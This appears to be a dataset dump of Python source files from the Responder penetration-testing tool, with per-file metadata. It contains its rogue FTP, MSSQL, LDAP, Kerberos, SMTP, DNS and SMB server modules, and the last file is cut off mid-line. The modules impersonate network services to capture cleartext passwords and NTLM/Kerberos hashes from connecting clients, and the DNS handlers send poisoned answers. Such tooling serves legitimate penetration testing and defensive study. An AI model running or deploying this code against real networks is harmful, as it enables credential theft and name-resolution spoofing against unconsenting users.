id
int64
0
458k
file_name
stringlengths
4
119
file_path
stringlengths
14
227
content
stringlengths
24
9.96M
size
int64
24
9.96M
language
stringclasses
1 value
extension
stringclasses
14 values
total_lines
int64
1
219k
avg_line_length
float64
2.52
4.63M
max_line_length
int64
5
9.91M
alphanum_fraction
float64
0
1
repo_name
stringlengths
7
101
repo_stars
int64
100
139k
repo_forks
int64
0
26.4k
repo_open_issues
int64
0
2.27k
repo_license
stringclasses
12 values
repo_extraction_date
stringclasses
433 values
21,400
FTP.py
SpiderLabs_Responder/servers/FTP.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from utils import * from SocketServer import BaseRequestHandler from packets import FTPPacket class FTP(BaseRequestHandler): def handle(self): try: self.request.send(str(FTPPacket())) data = self.request.recv(1024) if data[0:4] == "USER": User = data[5:].strip() Packet = FTPPacket(Code="331",Message="User name okay, need password.") self.request.send(str(Packet)) data = self.request.recv(1024) if data[0:4] == "PASS": Pass = data[5:].strip() Packet = FTPPacket(Code="530",Message="User not logged in.") self.request.send(str(Packet)) data = self.request.recv(1024) SaveToDb({ 'module': 'FTP', 'type': 'Cleartext', 'client': self.client_address[0], 'user': User, 'cleartext': Pass, 'fullhash': User + ':' + Pass }) else: Packet = FTPPacket(Code="502",Message="Command not implemented.") self.request.send(str(Packet)) data = self.request.recv(1024) except Exception: pass
1,738
Python
.py
48
32.75
75
0.711653
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,401
MSSQL.py
SpiderLabs_Responder/servers/MSSQL.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from SocketServer import BaseRequestHandler from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from utils import * import struct class TDS_Login_Packet: def __init__(self, data): ClientNameOff = struct.unpack('<h', data[44:46])[0] ClientNameLen = struct.unpack('<h', data[46:48])[0] UserNameOff = struct.unpack('<h', data[48:50])[0] UserNameLen = struct.unpack('<h', data[50:52])[0] PasswordOff = struct.unpack('<h', data[52:54])[0] PasswordLen = struct.unpack('<h', data[54:56])[0] AppNameOff = struct.unpack('<h', data[56:58])[0] AppNameLen = struct.unpack('<h', data[58:60])[0] ServerNameOff = struct.unpack('<h', data[60:62])[0] ServerNameLen = struct.unpack('<h', data[62:64])[0] Unknown1Off = struct.unpack('<h', data[64:66])[0] Unknown1Len = struct.unpack('<h', data[66:68])[0] LibraryNameOff = struct.unpack('<h', data[68:70])[0] LibraryNameLen = struct.unpack('<h', data[70:72])[0] LocaleOff = struct.unpack('<h', data[72:74])[0] LocaleLen = struct.unpack('<h', data[74:76])[0] DatabaseNameOff = struct.unpack('<h', data[76:78])[0] DatabaseNameLen = struct.unpack('<h', data[78:80])[0] self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '') self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '') self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '') self.AppName = data[8+AppNameOff:8+AppNameOff+AppNameLen*2].replace('\x00', '') self.ServerName = data[8+ServerNameOff:8+ServerNameOff+ServerNameLen*2].replace('\x00', '') self.Unknown1 = data[8+Unknown1Off:8+Unknown1Off+Unknown1Len*2].replace('\x00', '') self.LibraryName = data[8+LibraryNameOff:8+LibraryNameOff+LibraryNameLen*2].replace('\x00', '') self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '') self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '') def ParseSQLHash(data, client): SSPIStart = data[8:] LMhashLen = struct.unpack('<H',data[20:22])[0] LMhashOffset = struct.unpack('<H',data[24:26])[0] LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() NthashLen = struct.unpack('<H',data[30:32])[0] NthashOffset = struct.unpack('<H',data[32:34])[0] NTHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() DomainLen = struct.unpack('<H',data[36:38])[0] DomainOffset = struct.unpack('<H',data[40:42])[0] Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','') UserLen = struct.unpack('<H',data[44:46])[0] UserOffset = struct.unpack('<H',data[48:50])[0] User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') if NthashLen == 24: WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal) SaveToDb({ 'module': 'MSSQL', 'type': 'NTLMv1', 'client': client, 'user': Domain+'\\'+User, 'hash': LMHash+":"+NTHash, 'fullhash': WriteHash, }) if NthashLen > 60: WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) SaveToDb({ 'module': 'MSSQL', 'type': 'NTLMv2', 'client': client, 'user': Domain+'\\'+User, 'hash': NTHash[:32]+":"+NTHash[32:], 'fullhash': WriteHash, }) def ParseSqlClearTxtPwd(Pwd): Pwd = map(ord,Pwd.replace('\xa5','')) Pw = '' for x in Pwd: Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex') return Pw def ParseClearTextSQLPass(data, client): TDS = TDS_Login_Packet(data) SaveToDb({ 'module': 'MSSQL', 'type': 'Cleartext', 'client': client, 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), 'user': TDS.UserName, 'cleartext': ParseSqlClearTxtPwd(TDS.Password), 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), }) # MSSQL Server class class MSSQL(BaseRequestHandler): def handle(self): if settings.Config.Verbose: print text("[MSSQL] Received connection from %s" % self.client_address[0]) try: while True: data = self.request.recv(1024) self.request.settimeout(0.1) if data[0] == "\x12": # Pre-Login Message Buffer = str(MSSQLPreLoginAnswer()) self.request.send(Buffer) data = self.request.recv(1024) if data[0] == "\x10": # NegoSSP if re.search("NTLMSSP",data): Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) Packet.calculate() Buffer = str(Packet) self.request.send(Buffer) data = self.request.recv(1024) else: ParseClearTextSQLPass(data,self.client_address[0]) if data[0] == "\x11": # NegoSSP Auth ParseSQLHash(data,self.client_address[0]) except socket.timeout: self.request.close()
5,677
Python
.py
126
41.761905
101
0.674941
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,402
LDAP.py
SpiderLabs_Responder/servers/LDAP.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from SocketServer import BaseRequestHandler from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge from utils import * import struct def ParseSearch(data): if re.search(r'(objectClass)', data): return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data): return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) def ParseLDAPHash(data, client): SSPIStart = data[42:] LMhashLen = struct.unpack('<H',data[54:56])[0] if LMhashLen > 10: LMhashOffset = struct.unpack('<H',data[58:60])[0] LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() NthashLen = struct.unpack('<H',data[64:66])[0] NthashOffset = struct.unpack('<H',data[66:68])[0] NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() DomainLen = struct.unpack('<H',data[72:74])[0] DomainOffset = struct.unpack('<H',data[74:76])[0] Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','') UserLen = struct.unpack('<H',data[80:82])[0] UserOffset = struct.unpack('<H',data[82:84])[0] User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal SaveToDb({ 'module': 'LDAP', 'type': 'NTLMv1', 'client': client, 'user': Domain+'\\'+User, 'hash': NtHash, 'fullhash': WriteHash, }) if LMhashLen < 2 and settings.Config.Verbose: print text("[LDAP] Ignoring anonymous NTLM authentication") def ParseNTLM(data,client): if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data): NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge) NTLMChall.calculate() return str(NTLMChall) elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data): ParseLDAPHash(data,client) def ParseLDAPPacket(data, client): if data[1:2] == '\x84': PacketLen = struct.unpack('>i',data[2:6])[0] MessageSequence = struct.unpack('<b',data[8:9])[0] Operation = data[9:10] sasl = data[20:21] OperationHeadLen = struct.unpack('>i',data[11:15])[0] LDAPVersion = struct.unpack('<b',data[17:18])[0] if Operation == "\x60": UserDomainLen = struct.unpack('<b',data[19:20])[0] UserDomain = data[20:20+UserDomainLen] AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1] if AuthHeaderType == "\x80": PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0] Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen] SaveToDb({ 'module': 'LDAP', 'type': 'Cleartext', 'client': client, 'user': UserDomain, 'cleartext': Password, 'fullhash': UserDomain+':'+Password, }) if sasl == "\xA3": Buffer = ParseNTLM(data,client) return Buffer elif Operation == "\x63": Buffer = ParseSearch(data) return Buffer elif settings.Config.Verbose: print text('[LDAP] Operation not supported') class LDAP(BaseRequestHandler): def handle(self): try: while True: self.request.settimeout(0.5) data = self.request.recv(8092) Buffer = ParseLDAPPacket(data,self.client_address[0]) if Buffer: self.request.send(Buffer) except socket.timeout: pass
4,397
Python
.py
102
39.843137
138
0.716698
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,403
Kerberos.py
SpiderLabs_Responder/servers/Kerberos.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from SocketServer import BaseRequestHandler from utils import * import struct def ParseMSKerbv5TCP(Data): MsgType = Data[21:22] EncType = Data[43:44] MessageType = Data[32:33] if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": HashLen = struct.unpack('<b',Data[50:51])[0] if HashLen == 54: Hash = Data[53:105] SwitchHash = Hash[16:]+Hash[0:16] NameLen = struct.unpack('<b',Data[153:154])[0] Name = Data[154:154+NameLen] DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0] Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen] BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') return BuildHash if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33": HashLen = struct.unpack('<b',Data[45:46])[0] if HashLen == 53: Hash = Data[48:99] SwitchHash = Hash[16:]+Hash[0:16] NameLen = struct.unpack('<b',Data[147:148])[0] Name = Data[148:148+NameLen] DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0] Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen] BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') return BuildHash elif HashLen == 54: Hash = Data[53:105] SwitchHash = Hash[16:]+Hash[0:16] NameLen = struct.unpack('<b',Data[148:149])[0] Name = Data[149:149+NameLen] DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0] Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen] BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') return BuildHash else: Hash = Data[48:100] SwitchHash = Hash[16:]+Hash[0:16] NameLen = struct.unpack('<b',Data[148:149])[0] Name = Data[149:149+NameLen] DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0] Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen] BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') return BuildHash return False def ParseMSKerbv5UDP(Data): MsgType = Data[17:18] EncType = Data[39:40] if MsgType == "\x0a" and EncType == "\x17": if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33": HashLen = struct.unpack('<b',Data[41:42])[0] if HashLen == 54: Hash = Data[44:96] SwitchHash = Hash[16:]+Hash[0:16] NameLen = struct.unpack('<b',Data[144:145])[0] Name = Data[145:145+NameLen] DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0] Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen] BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') return BuildHash elif HashLen == 53: Hash = Data[44:95] SwitchHash = Hash[16:]+Hash[0:16] NameLen = struct.unpack('<b',Data[143:144])[0] Name = Data[144:144+NameLen] DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0] Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen] BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') return BuildHash else: Hash = Data[49:101] SwitchHash = Hash[16:]+Hash[0:16] NameLen = struct.unpack('<b',Data[149:150])[0] Name = Data[150:150+NameLen] DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0] Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen] BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') return BuildHash return False class KerbTCP(BaseRequestHandler): def handle(self): data = self.request.recv(1024) KerbHash = ParseMSKerbv5TCP(data) if KerbHash: n, krb, v, name, domain, d, h = KerbHash.split('$') SaveToDb({ 'module': 'KERB', 'type': 'MSKerbv5', 'client': self.client_address[0], 'user': domain+'\\'+name, 'hash': h, 'fullhash': KerbHash, }) class KerbUDP(BaseRequestHandler): def handle(self): data, soc = self.request KerbHash = ParseMSKerbv5UDP(data) if KerbHash: (n, krb, v, name, domain, d, h) = KerbHash.split('$') SaveToDb({ 'module': 'KERB', 'type': 'MSKerbv5', 'client': self.client_address[0], 'user': domain+'\\'+name, 'hash': h, 'fullhash': KerbHash, })
5,167
Python
.py
127
36.992126
81
0.652814
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,404
SMTP.py
SpiderLabs_Responder/servers/SMTP.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from utils import * from base64 import b64decode from SocketServer import BaseRequestHandler from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 class ESMTP(BaseRequestHandler): def handle(self): try: self.request.send(str(SMTPGreeting())) data = self.request.recv(1024) if data[0:4] == "EHLO": self.request.send(str(SMTPAUTH())) data = self.request.recv(1024) if data[0:4] == "AUTH": self.request.send(str(SMTPAUTH1())) data = self.request.recv(1024) if data: try: User = filter(None, b64decode(data).split('\x00')) Username = User[0] Password = User[1] except: Username = b64decode(data) self.request.send(str(SMTPAUTH2())) data = self.request.recv(1024) if data: try: Password = b64decode(data) except: Password = data SaveToDb({ 'module': 'SMTP', 'type': 'Cleartext', 'client': self.client_address[0], 'user': Username, 'cleartext': Password, 'fullhash': Username+":"+Password, }) except Exception: pass
1,836
Python
.py
53
30.45283
71
0.704122
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,405
DNS.py
SpiderLabs_Responder/servers/DNS.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from packets import DNS_Ans from SocketServer import BaseRequestHandler from utils import * def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] # If Type A, Class IN, then answer. return QueryTypeClass == "\x00\x01\x00\x01" class DNS(BaseRequestHandler): def handle(self): # Break out if we don't want to respond to this host if RespondToThisIP(self.client_address[0]) is not True: return None try: data, soc = self.request if ParseDNSType(data) and settings.Config.AnalyzeMode == False: buff = DNS_Ans() buff.calculate(data) soc.sendto(str(buff), self.client_address) ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) except Exception: pass # DNS Server TCP Class class DNSTCP(BaseRequestHandler): def handle(self): # Break out if we don't want to respond to this host if RespondToThisIP(self.client_address[0]) is not True: return None try: data = self.request.recv(1024) if ParseDNSType(data) and settings.Config.AnalyzeMode is False: buff = DNS_Ans() buff.calculate(data) self.request.send(str(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) except Exception: pass
2,224
Python
.py
54
38.351852
129
0.735158
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,406
SMB.py
SpiderLabs_Responder/servers/SMB.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from random import randrange from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData from SocketServer import BaseRequestHandler from utils import * import struct def Is_Anonymous(data): # Detect if SMB auth was Anonymous SecBlobLen = struct.unpack('<H',data[51:53])[0] if SecBlobLen < 260: LMhashLen = struct.unpack('<H',data[89:91])[0] return LMhashLen in [0, 1] elif SecBlobLen > 260: LMhashLen = struct.unpack('<H',data[93:95])[0] return LMhashLen in [0, 1] def Is_LMNT_Anonymous(data): LMhashLen = struct.unpack('<H',data[51:53])[0] return LMhashLen in [0, 1] #Function used to know which dialect number to return for NT LM 0.12 def Parse_Nego_Dialect(data): Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]]) for i in range(0, 16): if Dialect[i] == 'NT LM 0.12': return chr(i) + '\x00' def midcalc(data): #Set MID SMB Header field. return data[34:36] def uidcalc(data): #Set UID SMB Header field. return data[32:34] def pidcalc(data): #Set PID SMB Header field. pack=data[30:32] return pack def tidcalc(data): #Set TID SMB Header field. pack=data[28:30] return pack def ParseShare(data): packet = data[:] a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) if a: print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE')) def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2 SecBlobLen = struct.unpack('<H',data[51:53])[0] BccLen = struct.unpack('<H',data[61:63])[0] if SecBlobLen < 260: SSPIStart = data[75:] LMhashLen = struct.unpack('<H',data[89:91])[0] LMhashOffset = struct.unpack('<H',data[91:93])[0] LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() NthashLen = struct.unpack('<H',data[97:99])[0] NthashOffset = struct.unpack('<H',data[99:101])[0] else: SSPIStart = data[79:] LMhashLen = struct.unpack('<H',data[93:95])[0] LMhashOffset = struct.unpack('<H',data[95:97])[0] LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() NthashLen = struct.unpack('<H',data[101:103])[0] NthashOffset = struct.unpack('<H',data[103:105])[0] if NthashLen == 24: SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() DomainLen = struct.unpack('<H',data[105:107])[0] DomainOffset = struct.unpack('<H',data[107:109])[0] Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE') UserLen = struct.unpack('<H',data[113:115])[0] UserOffset = struct.unpack('<H',data[115:117])[0] Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE') WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal) SaveToDb({ 'module': 'SMB', 'type': 'NTLMv1-SSP', 'client': client, 'user': Domain+'\\'+Username, 'hash': SMBHash, 'fullhash': WriteHash, }) if NthashLen > 60: SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() DomainLen = struct.unpack('<H',data[109:111])[0] DomainOffset = struct.unpack('<H',data[111:113])[0] Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE') UserLen = struct.unpack('<H',data[117:119])[0] UserOffset = struct.unpack('<H',data[119:121])[0] Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE') WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:]) SaveToDb({ 'module': 'SMB', 'type': 'NTLMv2-SSP', 'client': client, 'user': Domain+'\\'+Username, 'hash': SMBHash, 'fullhash': WriteHash, }) def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2 LMhashLen = struct.unpack('<H',data[51:53])[0] NthashLen = struct.unpack('<H',data[53:55])[0] Bcc = struct.unpack('<H',data[63:65])[0] Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]) if NthashLen > 25: FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') LmHash = FullHash[:32].upper() NtHash = FullHash[32:].upper() WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash) SaveToDb({ 'module': 'SMB', 'type': 'NTLMv2', 'client': client, 'user': Domain+'\\'+Username, 'hash': NtHash, 'fullhash': WriteHash, }) if NthashLen == 24: NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() LmHash = data[65:65+LMhashLen].encode('hex').upper() WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal) SaveToDb({ 'module': 'SMB', 'type': 'NTLMv1', 'client': client, 'user': Domain+'\\'+Username, 'hash': NtHash, 'fullhash': WriteHash, }) def IsNT4ClearTxt(data, client): HeadLen = 36 if data[14:16] == "\x03\x80": SmbData = data[HeadLen+14:] WordCount = data[HeadLen] ChainedCmdOffset = data[HeadLen+1] if ChainedCmdOffset == "\x75": PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0] if PassLen > 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP def handle(self): try: self.ntry = 0 while True: data = self.request.recv(1024) self.request.settimeout(1) if not data: break if data[0] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) data = self.request.recv(1024) except: pass if data[8:10] == "\x72\x00": # Negociate Protocol Response Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x73\x00": # Session Setup AndX Request IsNT4ClearTxt(data, self.client_address[0]) # STATUS_MORE_PROCESSING_REQUIRED Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") else: Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(4096) if data[8:10] == "\x73\x00": # STATUS_SUCCESS if Is_Anonymous(data): Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) else: # Parse NTLMSSP_AUTH packet ParseSMBHash(data,self.client_address[0]) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: # Send ACCOUNT_DISABLED to get multiple hashes if there are any Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) self.ntry += 1 continue # Send STATUS_SUCCESS Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = SMBSession2Accept() Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x75\x00": # Tree Connect AndX Request ParseShare(data) Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Body = SMBTreeData() Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x71\x00": #Tree Disconnect Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", 